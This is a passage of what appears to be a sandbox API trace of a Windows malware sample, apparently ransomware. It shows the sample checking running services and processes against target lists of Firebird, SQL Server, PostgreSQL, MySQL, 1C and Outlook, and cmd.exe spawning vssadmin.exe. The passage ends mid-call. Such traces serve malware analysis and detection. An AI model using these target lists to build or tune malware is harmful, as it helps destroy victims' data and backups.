lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0148.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0148.253] lstrlenW (lpString="TrkWks") returned 6 [0148.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0148.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0148.254] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0148.254] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0148.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0148.254] lstrlenW (lpString="UxSms") returned 5 [0148.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0148.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0148.254] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0148.254] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0148.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0148.254] lstrlenW (lpString="WdiServiceHost") returned 14 [0148.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0148.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0148.254] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0148.254] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0148.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0148.254] lstrlenW (lpString="WdiSystemHost") returned 13 [0148.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0148.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0148.254] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0148.254] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0148.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0148.254] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0148.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0148.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0148.254] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0148.254] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0148.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0148.254] lstrlenW (lpString="Winmgmt") returned 7 [0148.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0148.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0148.255] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0148.255] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0148.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0148.255] lstrlenW (lpString="WPDBusEnum") returned 10 [0148.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0148.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0148.255] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0148.255] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0148.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0148.255] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69bd88 | out: hHeap=0x630000) returned 1 [0148.255] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1bc [0148.257] Process32FirstW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0148.257] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0148.257] lstrlenW (lpString="System") returned 6 [0148.257] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0148.257] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0148.257] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0148.257] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0148.257] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0148.258] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0148.258] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0148.258] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0148.258] lstrlenW (lpString="smss.exe") returned 8 [0148.258] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0148.258] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0148.258] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0148.258] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0148.258] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0148.258] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0148.258] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0148.258] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0148.258] lstrlenW (lpString="csrss.exe") returned 9 [0148.258] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0148.259] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0148.259] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0148.259] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0148.259] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0148.259] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0148.259] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0148.259] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0148.259] lstrlenW (lpString="wininit.exe") returned 11 [0148.259] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0148.259] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0148.259] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0148.259] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0148.259] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0148.259] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0148.259] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0148.259] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0148.260] lstrlenW (lpString="csrss.exe") returned 9 [0148.260] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0148.260] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0148.260] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0148.260] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0148.260] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0148.260] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0148.260] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0148.260] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0148.261] lstrlenW (lpString="winlogon.exe") returned 12 [0148.261] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0148.261] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0148.261] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0148.261] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0148.261] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0148.261] lstrlenW (lpString="services.exe") returned 12 [0148.261] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0148.262] lstrlenW (lpString="lsass.exe") returned 9 [0148.262] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0148.262] lstrlenW (lpString="lsm.exe") returned 7 [0148.262] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.262] lstrlenW (lpString="svchost.exe") returned 11 [0148.262] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.263] lstrlenW (lpString="svchost.exe") returned 11 [0148.263] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.263] lstrlenW (lpString="svchost.exe") returned 11 [0148.263] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.263] lstrlenW (lpString="svchost.exe") returned 11 [0148.263] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.264] lstrlenW (lpString="svchost.exe") returned 11 [0148.264] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0148.264] lstrlenW (lpString="audiodg.exe") returned 11 [0148.264] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.264] lstrlenW (lpString="svchost.exe") returned 11 [0148.265] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0148.265] lstrlenW (lpString="userinit.exe") returned 12 [0148.265] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0148.265] lstrlenW (lpString="explorer.exe") returned 12 [0148.265] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0148.266] lstrlenW (lpString="dwm.exe") returned 7 [0148.266] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.266] lstrlenW (lpString="svchost.exe") returned 11 [0148.266] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0148.266] lstrlenW (lpString="n.exe") returned 5 [0148.266] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0148.267] lstrlenW (lpString="spoolsv.exe") returned 11 [0148.267] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.267] lstrlenW (lpString="svchost.exe") returned 11 [0148.267] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0148.267] lstrlenW (lpString="taskhost.exe") returned 12 [0148.267] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0148.268] lstrlenW (lpString="reader_sl.exe") returned 13 [0148.268] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0148.268] lstrlenW (lpString="rundll32.exe") returned 12 [0148.268] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x49c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dinotify.exe")) returned 1 [0148.269] lstrlenW (lpString="dinotify.exe") returned 12 [0148.269] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0148.269] lstrlenW (lpString="n.exe") returned 5 [0148.269] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0148.269] lstrlenW (lpString="cmd.exe") returned 7 [0148.269] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0148.270] lstrlenW (lpString="conhost.exe") returned 11 [0148.270] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x700, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0148.270] lstrlenW (lpString="vssadmin.exe") returned 12 [0148.270] Process32NextW (in: hSnapshot=0x1bc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x700, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0148.270] CloseHandle (hObject=0x1bc) returned 1 [0148.271] Sleep (dwMilliseconds=0x1f4) [0148.962] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7262f0 [0148.962] EnumServicesStatusExW (in: hSCManager=0x7262f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0148.998] GetLastError () returned 0xea [0148.998] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1178) returned 0x69c4f0 [0148.998] EnumServicesStatusExW (in: hSCManager=0x7262f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x69c4f0, cbBufSize=0x1178, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x69c4f0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0148.999] CloseServiceHandle (hSCObject=0x7262f0) returned 1 [0148.999] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0148.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0148.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0148.999] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0148.999] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0148.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0148.999] lstrlenW (lpString="AudioSrv") returned 8 [0148.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0148.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0148.999] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0148.999] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0148.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0148.999] lstrlenW (lpString="BFE") returned 3 [0148.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0148.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0148.999] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0148.999] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0148.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0148.999] lstrlenW (lpString="CryptSvc") returned 8 [0148.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0148.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0149.000] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0149.000] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0149.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0149.000] lstrlenW (lpString="CscService") returned 10 [0149.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0149.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0149.000] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0149.000] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0149.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0149.000] lstrlenW (lpString="DcomLaunch") returned 10 [0149.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0149.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0149.000] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0149.000] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0149.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0149.000] lstrlenW (lpString="Dhcp") returned 4 [0149.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0149.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0149.000] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0149.000] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0149.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0149.000] lstrlenW (lpString="Dnscache") returned 8 [0149.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0149.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0149.000] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0149.000] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0149.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0149.000] lstrlenW (lpString="DPS") returned 3 [0149.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0149.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0149.000] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0149.000] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0149.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0149.001] lstrlenW (lpString="eventlog") returned 8 [0149.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0149.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0149.001] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0149.001] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0149.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0149.001] lstrlenW (lpString="EventSystem") returned 11 [0149.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0149.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0149.001] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0149.001] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0149.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0149.001] lstrlenW (lpString="gpsvc") returned 5 [0149.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0149.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0149.001] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0149.001] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0149.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0149.001] lstrlenW (lpString="iphlpsvc") returned 8 [0149.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0149.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0149.001] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0149.001] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0149.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0149.001] lstrlenW (lpString="LanmanServer") returned 12 [0149.001] lstrcmpiW 